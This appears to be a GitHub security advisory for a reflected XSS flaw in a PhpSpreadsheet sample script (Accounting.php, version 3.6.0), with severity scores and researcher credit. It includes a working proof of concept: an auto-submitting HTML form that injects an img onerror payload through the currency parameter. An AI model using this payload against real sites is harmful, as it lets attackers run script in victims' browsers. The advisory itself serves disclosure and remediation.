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GHSA-c6fv-7vh8-2rhr

HighCVSS 7.1 / 10
Published Jan 3, 2025·Last modified Mar 6, 2025
Affected Components(0)

No affected components available

Description

Unauthorized Reflected XSS in the Accounting.php file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php script, an attacker can perform a XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Accounting.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, which is controlled by the attacker.

fig7

Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php" method="POST">
      <input type="hidden" name="number" value="1234&#46;5678" />
      <input type="hidden" name="currency" value="&#36;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" />
      <input type="hidden" name="decimals" value="2" />
      <input type="hidden" name="position" value="1" />
      <input type="hidden" name="spacing" value="0" />
      <input type="hidden" name="submit" value="Display&#32;Mask" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.

<img width="460" alt="fig8" src="https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1" />

Figure 8. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Risk Scores
Base Score
7.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a high impact on the integrity of the data.

Threat Intelligence
6.5

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.33%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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